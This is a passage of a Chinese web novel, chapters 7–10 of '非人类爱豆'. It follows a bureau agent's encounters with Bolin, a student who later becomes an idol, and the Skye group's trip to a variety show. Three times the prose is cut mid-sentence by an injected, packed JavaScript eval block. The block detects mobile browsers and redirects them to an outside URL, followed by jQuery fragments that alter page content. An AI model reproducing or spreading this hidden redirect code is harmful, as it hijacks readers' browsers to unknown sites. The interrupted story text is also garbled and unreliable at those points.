《非人类爱豆》
7. 第 7 章
顾泽锡对这个结果有点意外,看着显示屏上的数字顿了顿。
被热情的猫咪们淹没的高中生手忙脚乱地笨拙安抚,没有注意顾泽锡在外人看来稍显莫名其妙的举动——如同大龄中二病一般,举着伪装成一块运动式手表的检测仪器,对准同桌的陌生人,神情严肃。
“……”顾泽锡深吸口气,丝毫不尴尬地将检测仪器塞回口袋,镇定埋头吃泡面。
他嗦了口面,沉默地瞥了眼尚未停止无限亲昵贴贴的少年和猫。
顾泽锡在上了红名单的超自然生物那里算不上闻风丧胆,也称得上臭名昭著。
他是个沉闷无趣的单身汉,除了日夜颠倒地工作以外,就只有撸猫这点不为人知的小爱好,排解不能与外人道的压力。
简单来说,他是一个关爱小动物的狠人。
眼下正在经历的,是顾泽锡此生难忘的回忆。
他跟一名高中生坐在同一张桌子上,吃的都是泡面,距离不过半米,悲喜却隔了一条过于明显的楚河汉界。
一面是群猫环绕,一面是无猫问津。
旱的旱死,涝的涝死。
顾泽锡素日挺直的肩背颓废地耷拉着,不知道自己浑身散发出一股郁闷、又羡慕的气息。
对方只是一个普通人类,他理应感到安心。
然而眼前的一幕时刻提醒他一个事实——这个世界上真的存在天生被猫喜欢的人,顾泽锡这辈子没摸到过的脑袋,排着队的主动往男孩的手心蹭,喵来喵去地乖巧求顺毛。
顾泽锡一脸冷酷地喝泡面汤:有人偷我人生。
多么悲伤的休息日,顾泽锡身心都受到创伤,泡面汤都没以前香。
有猫灵巧地一跃轻松跳上桌,好奇地嗅嗅泡面桶,歪歪脑袋跃跃欲试想要舔一口。
高中生赶紧拦住,嘴里嘟囔着“不行你吃了要坏肚子的”,然而猫的好奇心很浓重,且有强烈的逆反心理。更多的猫猫跳上了桌子。男孩只有两只手,眼看一片混乱要拦不住,硬着头皮向顾泽锡慌张求救:“麻烦帮忙拦住它们啊啊!”
顾泽锡缓缓抬头:“好。”
他手法专业,眼疾手快地捏住两只小猫的后颈提溜起来,轻快地放到地上。
再跳,再拎。再跳,再拎,乐此不疲。
顾泽锡表情维持着成年人略带不耐烦的冷淡,手上的动作越来越快,内心的快乐快要绷不住。
到后来,顾泽锡完全鲨疯了。他动作迅捷,眼观八方,眼神明亮的冷酷脸看着不服输的猫心想:快乐,再来亿次。
五分钟后……猫累了。
没有猫再次跳上桌了,仰着脑袋蹲在地面上的猫肉眼可见的在生闷气。
猫:从未见过如此厚颜无耻之人。
大概是被顾泽锡气到了,猫猫挨个恋恋不舍地蹭了蹭高中生的裤腿,朝他用小奶音“喵”了两声,便头也不回地原地解散,一溜小跑钻进绿化带里不见了。
终于能好好吃上一口的男孩松了口气,擦擦冒出来的汗看向顾泽锡:“谢谢你啊。”
沉浸在满足中的顾泽锡没有留意到,男孩的视线是先在他的头顶停留了片刻,才向下移跟他对视的。
顾泽锡过足了瘾,倒也不遗憾,看着高中生的眼神温和友好了很多。
他简单回答:“哦,没事。”
顾泽锡停顿了下。既然在便利店偶然碰见,会不会对方也住在这附近,或者经常会从这条街经过?
想到刚刚从未有过的体验,顾泽锡不由得幻想了一下某种美好向往:休假了——问高中生要不要出来一起吃泡面——落座后高中生吸引无数只猫前赴后继赶来——顾泽锡名正言顺帮忙分担太多只猫围拢的压力,名正言顺以帮忙为由借机撸猫。
顾泽锡眼神火热,口干舌燥。
他雷厉风行地抄出手机,丝毫没有意识到自己的行为稍显突兀,缺少铺垫。
顾泽锡单刀直入:“同学,能加个联系方式吗?微信或手机号都行。”
如果副官在这里,大概会不忍直视地深深捂住脸,语重心长地告诉顾泽锡,人际交往是一门大学问,道阻且长。
任何一个路人看到此情此景,都会连退三步劝这位涉世未深的高中生:快逃。
刚刚两手捧起泡面桶想喝汤的少年一顿:“……”
高中生面色微妙变幻,隔着面桶露出一双黑白分明的漂亮眼睛,礼貌而拘谨,但毫不犹豫地飞快婉拒了:“呃,抱歉,我们可能不会再见面了。”
想象过会被拒绝,没想到会被秒拒的顾泽锡沉默了一瞬,肉眼可见的失望。
他倒也不算意外。顾泽锡清楚自己看上去不是那种容易让人亲近的类型,这一行干久了,面对危险的次数太多,肃杀之气很难掩饰,看着不像好人。
顾泽锡不是喜欢强人所难的性格,一般来说旁人明确拒绝的事,他不会再问第二遍。
只是也许是今天的经历多少有些难忘了,顾泽锡站起身离开之前,破天荒又留下一句:“如果以后再碰到有什么困难,还可以找我帮忙。”
高中生眨眨眼,似乎感觉到他是好意,点点头看着他笑了笑:“谢谢你。”
这就是顾泽锡跟柏林的第一次相遇。
平平无奇,却以一种少见的原因,令顾泽锡印象深刻。
他临走时留下的那句话,并不是为了撸猫,而是蛮认真在说。
没想到的是,时隔不过一周不到,顾泽锡真的再次见到了柏林。
他接到警报,前往某所学校搜寻一株极为危险的变异食人花——红名单上排名前一百,外观美丽无害,会散发一种令人神志不清的特殊香气,等猎物进入攻击范围,就会膨胀到蛰伏状态的十倍大小,将猎物一口吞吃入腹。毒液具有强腐蚀性,消化完一具一百二十斤左右的人体只需要短短三分钟。
在管理局,有个关于该食人花的冷幽默地狱笑话:这株食人花是花界的马拉松国宝级运动员。
原因无他,普通的植物都是由根系牢牢扎根进泥土里、获取生命所需的营养,根离了土地无法存活。
而超自然生物相关的一切完全不符合常理。变异食人花完全不需要土壤,它扎根到土里唯一的理由,就是为了将自己伪装成普通的植物。
碰上它对付不了的对象时,食人花会自己麻利地将根系从地里拔‘出’来,踩着根系,风风火火地拔腿就跑。速度奇快无比,堪称马拉松世界冠军。
唯一让人稍稍放心的是,这种变异植株只有寥寥一手之数,这是最后一株在逃的食人花,其余的都已被管理局捕获,数量稀少,不至于对人类社会造成太大的威胁。
这最后一株隐藏起来的食人花太能跑,上一次接到警报的管理局成员跑得两眼发黑,吐得昏天黑地,腿都直哆嗦,没能抓到。
于是再次发现踪迹,顾泽锡亲自带队杀到了第一现场。
此次任务难度很高,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|9057896|87142||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
因为超自然生物的存在不能暴露在普通人眼中,管理局的人也不能大张旗鼓地去抓,必须要做下伪装,还要避开人群的视线。
令人头疼的是,检测系统捕捉到食人花一溜飞奔冲进了学校,但该学校当天刚好正在进行校园歌手大赛。
最要命的是,校园歌手大赛还是露天举行,全校参与。
人头攒动,高中部三个年级的学生没有一个人在教室里待着,都聚集在操场上,学校的舞台挺简陋,音响设备却挺清晰,声音巨大。
顾泽锡看着手腕上带着的检测仪器,脸色难看。
检测显示这株该死的食人花就混在操场范围内。
食人花有一定智慧,不是只知道跑马拉松或乱咬人的低智商生物,不可能提着自己的根在学生眼皮子底下跑步,肯定是躲藏起来了。
可是它如果将自己伪装成一朵普通的花,眼下会躲在哪里呢?
管理局提前打过招呼,顾泽锡是以比赛评委的身份进的校园。
到处都是学生,他胡子拉碴,满脸写着成熟可靠不好惹,没可能穿个校服就硬装高中生,扮老师也违和,容易引起注意。
局里随便给他安了个合理的身份——民谣小众歌手,大众没听说过但有才华的原创音乐人,也是学校请到的本次校园歌手大赛的专业评委。
当然,桌子前给他留了位置,他去不去无所谓,只是万一有人问起来好糊弄。
顾泽锡本来没兴趣真的装什么民谣歌手,直到精准检测的异常波动范围越来越小,逐渐只剩下一种可能。
顾泽锡脸色一沉,头大如斗。
这株变异食人花此刻就在舞台上!
管理局其他人处理不了这么棘手的异形生物,顾泽锡必须亲自上,确保不造成任何伤亡。
于是他在舞台前落座了。
两边坐的都是真正的评委,顾泽锡释放“拒绝交流”的自闭寡言信号,朝台上看去。
这一看,顾泽锡意外地抿唇:“……”
居然这么巧,就是不久前一起吃泡面的学生。
他早注意到了是一样的校服,但全校这么多人,怎么就刚巧他正在台上准备唱歌……还有,花呢?
台上的人大大方方地做自我介绍,笑容清爽阳光:“大家好,我是柏林。”
顾泽锡拧紧眉头,仔细凝视着他,终于意识到了不对。
有一瓣花瓣,很隐蔽地,从柏林的校服口袋中悄悄探了出来,鬼鬼祟祟地飘出来晃了晃,似乎是在反侦察是否有危险。
柏林一无所觉地介绍曲目,眼睛亮晶晶的:“这是我第一次报名参加歌唱比赛,我今天想唱一首很喜欢的民谣歌曲——”
看清楚花瓣上特殊花纹的顾泽锡瞳孔收缩,忍不住低咒一声:“……艹!”
食人花就在柏林身上,随时有可能害人。
他完全是因为心急忧虑脱口而出,说得其实很小声。
然而评委桌上放着的话筒很贴心的被提前打开了——
于是这一声暴躁的国骂,瞬间清晰地通过音响传遍了整个校园。
舞台上的柏林后半句顿时卡壳,朝着台下看过来。
顾泽锡面无表情:“……”
他缓缓深吸一口气。
本来他有想过,第二次见到柏林的话,就证明还是有缘,可以再试着加一次对方的联系方式。
现在看来……他这辈子都很难加到柏林的微信了。
8. 第 8 章
凭借多年出任务的反应速度,以及社畜在工作中练就的金刚脸皮,顾泽锡眸光深沉,至少表面上依旧冷静。
尴尬深藏在不以为意的躯壳下。
“抱歉,失态了。我本人是民谣唱作人,很高兴,也意外于有年轻人对民谣报以热情。”他沉默片刻拿起话筒,盯着台上的柏林端详了一会儿,流露出一丝恰好到处不算突兀的恍然,“是你,好巧。”
守在校外一辆低调商务车内监控实时状况、随时准备冲进去支援的副官:“……?”
他默默地按了按耳机,坐直了些,对这意料之外的发展,产生了一点不太合时宜的八卦与好奇。
什么情况,头儿的社交范围还包括高中生?
距离上次碰面不过一周,柏林显然对顾泽锡有印象,只是这才注意到:“啊。”
顾泽锡保持镇定,态度介于陌生与熟悉之间:“后来我又去吃了一次泡面,没碰到你。”
柏林摸摸脑袋:“哦哦,我不是每天都去的。”
在座的学校方老师立马配合地打圆场揭过,以防现场氛围僵持或跑偏。
在场的其他人会不会认为顾泽锡是个素质堪忧的怪人,对他来说不重要。重要的是柏林看上去信了他的说辞,没有将刚刚的插曲放在心上。
顾泽锡由此若有所思地意识到,柏林是那种心态很好,不会计较太多的类型。
职业病再次犯了,顾泽锡脑子里简单分析过了一遍,初步判定柏林是个相对缺少棱角的性格。被打断了也不尴尬,给出一个相对合理的解释,他就不追究。
挺好的。对于普通人来说,这样的性格容易过得比较简单快乐。
顾泽锡不动声色地放下话筒,思索怎么解决眼下的危机。
他身上装备了管理局研究所针对变异食人花设计的保护屏障,能隔绝精神干扰,不会受到食人花散发的香气蛊惑,迷失心智。
研究所效率很高,能力也强,这次顾泽锡随身携带了专门捕获食人花的机械牢笼,简单便捷,一击必中。
有了趁手的工具,按理说捕获是很容易的。棘手的问题在于,食人花眼下就在柏林的校服口袋里,万一惊动了祂,食人花狗急跳墙要拉个垫背的,柏林非死即伤。
想到柏林有受伤的可能,不知道为何,顾泽锡莫名有点不舒服。
他按捺着略有焦躁的情绪,耐心地观察等待时机。
柏林继续介绍要唱什么的功夫,食人花又试探地悄悄探出了一片细小的叶子。
经过伪装的变异食人花可以自由控制自身大小,从口袋里探出来的叶片仅有指甲盖那么大,哪怕在飘动也只会让人以为是风吹的,除了顾泽锡没人注意到。
吉他声响起,柏林未经修饰的声线干净平和。
“人们问起我……”
“我该如何生活”
集中精力认真思考的顾泽锡,被后方四面此起彼伏的兴奋尖叫声惊得差点掏枪。
好在被热情呼声惊到的不止他一个,倒不显得突兀。
校方老师以及评委们彼此交换了一个眼神,被扑面而来的青春躁动感染,摇摇头露出笑容。
以柏林的长相来说,会在学校受到欢迎,不难猜到。
顾泽锡耳聪目明,坐在他背后不远处的女生们兴奋讨论,没有刻意控制音量。他没有偷听别人说话的意思,但他也没必要堵住耳朵。
“卧槽我头一次听柏林唱歌,惊到我了,live唱成这样很不错啊。”
“实话讲,柏林比我搞过的好多小墙头都帅多了,现在红的那几个离了滤镜和p图,估计跟柏林站一起还不一定谁赢呢。”
“我初中同学跟柏林一个班的,他说以前周末跟柏林一起出去吃饭,有经纪公司的星探给柏林递过名片!可惜柏林没同意,只说会考虑。”
“哇真假,好像那种营销号编的小故事走进现实,不知道为什么好激动呜呜呜呜。做个梦,柏林要是以后真出道红了的话,咱们不就是那种粉丝会羡慕疯了的同学吗?”
“想象了一下,有点快乐妈呀。多拍点照片,我有预感可以刷爆空间……有谁从头录视频了,发我一份啊啊。”
青春期的女孩子们沉浸在朦胧美好的设想中,顾泽锡精神时刻维持在紧绷状态,视线不敢离开食人花半分。
他盯着柏林的校服口袋,耳朵里传来柏林的歌声。
的确……很好听。
顾泽锡很少在任务期间出小差,他脑海中飞快地闪过一丝怔然,提醒自己注意力要维持高度集中。
他强迫自己清空杂念,很快发现了不同寻常的地方——
根据先前捕捉及研究其他变异食人花的观测记录,变异食人花经过伪装的叶片是蓝色的,花瓣则是灿金色。
但在柏林开始唱歌之后,探出口袋的花瓣颜色变了。
灿金花瓣染上暗色调的血红,蓝色的叶片则逐渐被漆黑的蛛网淹没。
娇艳欲滴,恐怖妖异。
顾泽锡:“……”
顾泽锡:wtf。
根据研究所提供的报告,这种变化只意味着一种可能:食人花进入了发’情’期。异形生物不能用常理解释,祂并非真正的植物,拥有思维能力和一部分动物特性。合理推断,祂同样也拥有独立的感情体系。
简单来说,这株变异食人花,陷入了爱情。
一旦食人花展露出这种特殊形态,就等同于现下处于完全无防备状态。这是祂对倾慕对象表现出的信任与迷恋。
用人类能理解的概念类比,就相当于一只凶猛的藏獒,在亲近的人面前卧倒在地,露出无害的肚皮,还要高举爪子过头顶,就差大声喊一嗓子:来!揉我胖乎乎的小肚子!很软的,别害怕。一回生,二回熟,摸完三回准上头。
顾泽锡再三确认自己没看错,脸色铁青,表情险些裂开:“……”
这是管理局铁血精英顾泽锡,头一次深深怀疑自己的逻辑判断力。
嗜血可怖的食人花全是破绽,从祂的表现来看,也绝不会伤害柏林半分。这样就相当于劫匪对手里的人质没了威胁,抓捕也变得易如反掌——顾泽锡本应松一口气,但他此刻内心有一万平方万马奔腾的青草地。
他试图冷静理智的思考。
或许歌声是食人花的隐藏弱点。
然而紧接着,顾泽锡不可控制地想象了一下某个画面。想制服食人花,就当场给祂唱首歌?
顾泽锡嘴角抽动,太阳穴传来阵痛。
往日出任务总是严肃的,紧绷的,偶尔还有生死一线的。现在顾泽锡却感受到了无所适从的诙谐与荒诞,仿佛有人跟他开了个难以解释的玩笑。
这次的任务以一种匪夷所思的方式,顺利结束了。
顾泽锡没受半点伤,没动用任何外勤成员或特殊工具,轻松的像喝水一样——他在柏林下台后跟他近距离说了两句话,趁他不注意把喝醉了一样迷迷糊糊的食人花转移了。
柏林从头到尾都什么都不知道,在他眼里顾泽锡是一起吃过一次泡面的人,碰巧又成了他参加校园歌手大赛的评委老师。
这一次两个人交换了名字,但鉴于年龄、身份背景没什么交集,谈话也没深入。
出于谨慎考虑,顾泽锡再次对柏林悄悄进行了异常值检测。
源力值和异常值依然是0,柏林毫无疑问就是普通人类。
顾泽锡心里装着事儿,也没想起来跟柏林要联系方式。为了寻个踏实,他特意回了一趟总部,跟研究所那边确认了一下,检测仪器有没有出错的可能。
得到的回答是,有误差的可能性微乎其微。之所以没有肯定的说百分百不会出错,是至今未曾发现错漏,但不清楚未来会不会因使用年限等外在因素出问题。
研究所的人说话都过于严谨,顾泽锡明白对方的言下之意,其实就是告诉他检测仪器不会有错。
不知道出于什么心理,顾泽锡犹豫了下,将柏林身上可能存在的异常隐去了,一个字都没提。
只是从那以后,柏林开始频频出现在任务现场。
顾泽锡起初每见他一次都要不放心地再检测一遍,后来就不再白费功夫了。因为事实和时间证明,柏林是无害的。
他对柏林的态度从审视地想“怎么又是他”,到之后逐渐习惯了,偶尔还会想着下次碰见的时候,跟柏林约个时间再一起吃泡面。
偶遇的次数多了,有柏林在现场的任务总是毫无风险,很简单就能完成,于是顾泽锡那个像纸糊的一样容易被戳破的假身份,至今也没有暴露。
他加上了柏林的微信,在备注界面停留了片刻,最终备注的是:[猫薄荷]。
在柏林那里,顾泽锡就是一个民谣歌手的身份,偶尔他会把他当成老师和朋友探讨音乐创作上的问题。顾泽锡为了能接上话,利用碎片时间恶补了一下相关专业知识,还学会了画五线谱。
天知道在副官看到顾泽锡全神贯注看乐理知识大头书的时候,震撼的下巴都要掉到地上。
至于柏林为什么总在现场,可能就是特别倒霉吧。这种人是存在的,喝凉水都塞牙缝那种,生活中会有这种无法解释的事,只是概率非
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|9057897|87142||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
常小。
这样过了好长时间,顾泽锡意识到哪里不太对,是在半个月前。
又一次撞上柏林在,副官随口开玩笑:“头儿,你又在看柏林了。要不是知道你干这行久了有点疑心病,我会以为你对他有意思。”
他嘀嘀咕咕:“还好柏林早就成年了,不然我偶尔会想替他报警。”
顾泽锡张口想嗤笑对方想太多,却迷惑地停顿了片刻,最终没说话:“……”
准备好被上司训乱开玩笑的副官等了一阵,发现顾泽锡没第一时间反驳,不习惯地愣了一下。等反应过来,他震惊地扭过头看向顾泽锡,差点扭了脖子:“……头儿,你认真的?!”
顾泽锡沉默了一会儿,想说:你懂什么,我只是想撸猫。这是百年难得一遇的人形猫薄荷。
然而在开口之前,他自己否定了这个答案。
除了第一次以外,他每次跟柏林见面的时候,都没有猫在现场。
但是他依然会在见到柏林的时候,既困惑,又有点……高兴?
顾泽锡终于意识到,他对柏林过度关注了。
他没多少兴趣了解别人的事,却在柏林身上投入了过多的视线,对他相关的事显露出了一丝不同寻常的关心。
在柏林的问题上,他的行为动机不能用’警惕异常现象’来解释。柏林没有杀伤性,他是无害的,而管理局的宗旨是,只有对人类产生危害的超自然生物才会被批准监视或抓捕。哪怕柏林真的有问题,只要他没有表现出对人类的敌意做些什么对人类不利的事,管理局也没有理由限制他的行动。
所以他不能将自己的过度关注,归结于仅仅是秉公办事的严谨。
不是出于职业考虑观察柏林……那是为什么?
顾泽锡头一次有这种他自己不能理解的行为,精准分析的能力似乎失效了,他一时没有弄懂自己的行为逻辑。
他迎上副官震惊的视线,冷着脸踹了他一脚,不耐烦地瞪他:“少瞎猜,没那回事。滚开。”
副官看了看他的脸色,嬉皮笑脸地敬了个礼,麻溜地滚了。
回到办公室后,顾泽锡踩着军靴放松地往转椅上一倒,放空地盯了会儿天花板,拿起了手机。
作为skye的一员,柏林很红,随便一搜就有很多消息。
他检索了柏林,默不作声地往下翻,刷到某个视频的时候迟疑地停了下来。
顾泽锡在视频的封面图上,看到了自己的后脑勺。
也对。柏林就是因为这个校园歌手大赛,被现在的公司看中,进入组合skye出道的。当时有很多同校的学生上传了自己用手机录的视频,各个视角都有,在网路上小火了一阵。
当时有很多人录像,为了防止顾泽锡的长相被大肆传播,网路上的视频都被处理过了,有关顾泽锡的镜头只留下一个背影,一个后脑勺。拍到正脸的部分都被剪掉了。
包括中间他跟柏林解释,缓解气氛的部分,剪得一干二净。
刷到的这个视频是粉丝上传的,顾泽锡看了看文案。
[守护小林的笑容V:#柏林考古必看系列#[心]#三十天安利柏林挑战#
大家都知道,小林像小太阳一样,每天都超级阳光的给大家带来治愈的笑容[抱抱.jpg]
但是小林走到我们面前,并不是一帆风顺的,也经历了很多我们不曾看到的委屈。没有镜头的地方,我们对发生过的一切不得而知,但至少从这个视频中,我们可以窥见到冰山一角。
iLin们都知道,小林是从校园歌手大赛开始走进大众视野的,而小林第一次上舞台,就遭受了评委不公正的看低。]
看到这里,顾泽锡产生了某种预感。
他确认了下,这是一个只有十五秒的视频。
顾泽锡不太想重温当时过于尴尬的心情,于是他没有点开多少能猜到内容的视频,继续看完了粉丝发布的最后一小段文字。
[……还好,现在他有了我们。
无故为难小林让他下不来台的顾大还是查无此人的糊咖,而我们小林已然站在了金字塔顶尖。
对此我想说——三十年河东,三十年河西,莫欺少年穷!!]
顾泽锡:“……”
顾泽锡退出了微博。
他当时假扮民谣歌手,用的是“艺名”。
管理局非常敷衍,给他随便诌了一个名字——顾大。
顾泽锡冷静地将手机倒扣,镇定地闭了闭眼。
无妨。
他顾大干的事,跟他顾泽锡有什么关系?
9. 第 9 章
拍摄完山楂饮料广告,skye的经纪人临时通知他们,多了一档需要当晚飞往旺角市的综艺行程。
柏林揉揉稍有酸痛的胳膊,惊讶确认:“今晚?”
花言跟柏林刻意保持了一定的距离。韩宇哲如同没骨头的大狗狗一样,弯腰将脑袋搁在柏林的肩膀上,挑衅地朝花言露出一丝欠揍的笑容。
笑意一瞬即逝,在花言跳脚之前,韩宇哲懒懒地收敛情绪,黑漆漆的眼睛望向经纪人没说话。
经纪人点头,言简意赅解释:“情况特殊,是跟我们有过合作的节目组,紧急找我们救场。”
只是飞行嘉宾,一共签了三期,会集中一口气录制完。剪辑周期短,很快就会播出,一周一播。
这不是正常敲定通告的流程,工作安排都是提前很久就开始接洽的,从节目方初步接触,到调整档期安排时间,确认合作签合同是最后一步,要走完很多道相对繁琐但严谨的流程,确保不会在录制期间出问题。
Skye原定的工作计划是回公司筹备新专辑,新工作硬塞进来会稍微打乱他们的安排,缩减筹备期。
江枢苒露出不太赞同的眼神:“为什么答应?商务是早就签好的就算了,距离回归期很近了,我们时间紧张,还有很多事要做。”
柏林低头点亮手机确认时间,21:57。
又要熬夜赶飞机了。队友们连睡觉都不用,只有柏林略有惆怅的偷偷比划了一下肝脏所在的位置,叹息着给自己的肝加油打气。
屏幕上还有几条新闻推送,看清标题的柏林揉揉眼睛,大概猜到了一些:“南屿出了意外事故?”
“对。”经纪人接过话头,“这个节目原定的嘉宾是南屿,今天下午在剧组吊威亚时装备出了点问题,意外从两层楼高的位置掉了下来,摔断了腿。”
柏林想象了一下,痛是肯定的,说不定还会留下心理阴影,不由得抿唇问了句:“严重吗?”
除了柏林,其他四个成员都对别人的事毫无反应。
经纪人也不关心:“应该没事吧,看新闻就是骨折,不幸中的万幸了。”
柏林点点头,松了口气。
经纪人看看柏林,脸色温和了一些。他本人随着工作年数越久日渐冷漠,反而更清楚像柏林这样没什么坏心思的人很纯粹,且少见。
经纪人喜欢不会给他添麻烦,又能久违地让他感到温暖的人。
于是他多说了两句:“放心吧,他没事。就是伤筋动骨一百天,原定的工作都得停摆了。”
南屿的确有点倒霉,他是寒假热播剧的男一号,最近风头正劲,凭借这部热度极高的剧一跃跻身一线,接到的资源直接飞升了——这档综艺就是他红了之后拿到的,上星综艺,往期收视率都相当高,可以全国范围刷脸。
结果就差临门一脚,最后一场杀青戏出了意外,好资源长了脚一样飞到了skye这里。
除了节目组以前有合作过、班底的确可靠外,经纪人松口答应还有符合实际利益的原因,这档节目本身就不缺热度。
收视是有底盘在的,skye流量高,跟节目组相辅相成,互相成就,谁也不吃亏。
节目组请的嘉宾都是当红的,南屿来不了了,skye咖位和人气都足够,节目组从得到消息就开始电话信息狂轰滥炸,做好了跟skye死磕的准备。
花言没被忽悠:“递到我们这里的优质综艺邀约本来就不少,说吧,为什么答应。”
经纪人沉默片刻,望天:“……没办法,他们给的实在太多了。”
花言对此没有发表任何意见,只是眼神中充满了对人类劣根性的强烈谴责。
柏林:“……”
哥,别这么诚实,你还可以再挣扎一下的。
#经纪人今天也替人类在超自然生物面前丢脸了。#
Skye没有浪费时间,收拾妥当后直接赶往机场。
商务车后排座,邬珩尧蔫头蔫脑地摸摸肚子。余光留意到的柏林转过头,下意识也摸了摸肚子。
拍摄了一天,除了今早船上那一顿,他们还没来得及吃过东西。
两个人对视一眼,柏林默默在随身包里掏了掏,摸出一个压扁了的面包。他将面包掰成两半递给邬珩尧:“先垫一垫。”
邬珩尧皱皱鼻子,对这种杂粮类的食物不太感兴趣,仿佛有看不见的狼耳朵失落地耷拉了下来:“没有牛肉干了吗?”
柏林闻言又摸了摸随身包,瞅瞅他肯定地点头:“没有了,最后一根牛□□早上被你吃了。”
邬珩尧条件反射扭头:“……你怎么知道是我吃的?”
柏林看着邬珩尧眨眨眼,没有说话。
两人对视片刻,就怕空气突然安静。
经常被偷拿小零食的柏林:一切尽在不言中。
邬珩尧若无其事地收回视线。
江枢苒无言地扶了扶额,花言抱着胳膊投以鄙视的眼神,韩宇哲一上车就开始昏昏欲睡,没什么反应。
#今天邬珩尧也替超自然生物在人类面前丢脸了。#
经纪人借路上的时间跟他们简单介绍了一下节目内容。
《挑战不可能》,目前
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|9057898|87142||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正在录制的是第三季。
这个节目的设定很有看点,并非那类将一堆当红的明星凑在一起过家家按剧本聊天的无聊综艺,策划可圈可点。
节目组找来了大量各界的能人异士,包括但不限于魔术师、非遗杂技传承人、竞技魔方世界冠军、攀岩跳伞等极限项目世界纪录保持者,以玩命作死儿著称的跑酷大神……涵盖各行各业,各种挑战身体与反应速度极限的项目,有脑力相关,有运动相关,也有考验胆量的。
总之只有你想不到的,没有节目组请不到的。
嘉宾要做的,就是试着完成这些能人异士布置的难题,尝试完成挑战,看看能否将不可能变为可能。
而嘉宾对于在节目中要面对什么挑战,也是真的毫无概念,不存在提前告知、好让嘉宾提前练习来作弊这种事。
节目组主打的就是:最真实的反应,最刺激且直观的挑战过程。
宣传语完美踩中观众感兴趣的地方:作为普通人的你,跟能力者之间真的有所谓的鸿沟吗?人类的极限,是否真的存在?跨越勇气的障碍,你是否也能够获得成功?
节目组请来作为“普通人”对照组的,都是当红的艺人。
几个要素重叠,收视率居高不下,自播出起讨论度就维持在极高的水准,吸引了大量观众。
观众既想看当红明星在能人异士面前出糗、手忙脚乱,也乐于看帅哥美女意外展现出天赋异禀的一面,大杀四方,反过来围观能人异士因震惊而瞳孔地震的样子。
节目组会筛选任务,不会让嘉宾去完成有危险的项目,且有专业人员在现场随时待命,三季录制以来都没有出过任何问题,安全方面倒是不必担心。
经纪人接是接了,原本唯一在担心的,就是成员们会对录制这档综艺表现出抗拒不满,毕竟这档节目录制是需要勇气的,要么失败出丑,要么辉煌出圈。
他小心地观察着成员们的反应,发现……五个成员都没什么反应。该睡觉的睡觉,该吃东西的吃东西,丝毫没看到紧张和压力。
经纪人:“……”
成员们都没当回事,他本来应该松口气的,现在又有点头疼了。
虽说综艺节目完不成挑战,对skye的发展没任何影响,路人笑一笑就完了,不会因为完不成困难度max的任务就对skye能力产生疑问,粉丝更是不会介意。
但他们到底是多少该有点危机感吧?
经纪人欲言又止,最终叹了口气,什么都没说。
车子停在机场,柏林推了推邬珩尧:“走,我们去吃夜宵。”
10. 第 10 章
Skye的行程是临时变更的,所以没有粉丝未卜先知送机。普通工作日的凌晨,机场除了工作人员基本看不到什么人,相当空旷安静。
零散等航班的路人昏昏欲睡,没人注意他们,柏林放松地把口罩拉下来呼吸新鲜空气。
只有一家二十四小时营业的kfc还开着,柏林和邬珩尧在车上惨兮兮分了一个面包将就,这个时候饿得能生吞一头牛,也不是很挑。
知道花言他们不吃人类食物,柏林就只顺口问了经纪人一句:“你需要我们带点吃的吗哥?”
经纪人默默低头看看自己逐渐发福的身材,忍痛回答:“……不了,你们多吃点。”
今年已经过了三十五的经纪人目送柏林轻快的背影,感叹年轻真好。代谢快,半夜吃油炸食品也不用忌口。
Kfc小窗口的工作人员正靠在点餐台的后面刷手机,努力不要犯困睡着。
打工人没得选,夜班说实话没几个顾客,但还是得有人值班。
她想着又是一个不算难熬但乏善可陈的夜晚,余光瞥见有人影在靠近,直起身看过去——
一声卧槽险些脱口而出。
走到跟前的两个年轻帅哥出奇的眼熟,点餐员刚刚打开的微博开屏就是skye的广告,而近在咫尺的这张脸,跟广告中的人如出一辙。
区别是精修图片中的爱豆妆容精致,自带光环,给人很遥远的不真实感,很难想象会在现实生活中产生交际会是什么样子。
而现在那种看不见的屏障消失了,柏林像来往的普通顾客一样,毫无征兆地出现在眼前,跟邬珩尧小声讨论要点汉堡还是炸鸡翅。他套着一件清新的蓝色卫衣,兜帽没整理好,头发毛蓬蓬的,垂到额前遮挡住部分眉眼,看上去很日常,像个学生。高高瘦瘦的,素颜笑起来时能看到浅浅的梨涡。
相比较邬珩尧天然具有攻击性的长相带来的距离感,柏林给人一种安定感,莫名笃定就算突兀地朝他打一声招呼,也不会被冷漠对待。
点餐员紧张抬头。
柏林就隔着一个点餐台,站在距离她不到一臂的位置,跟她自然对视上后,率先朝她清爽地露齿一笑:“哈喽,可以给我们点两份b套餐吗?谢谢!”
说实话,这个笑容让点餐员的紧张瞬间缓解了大半,心情有点小小的起飞。
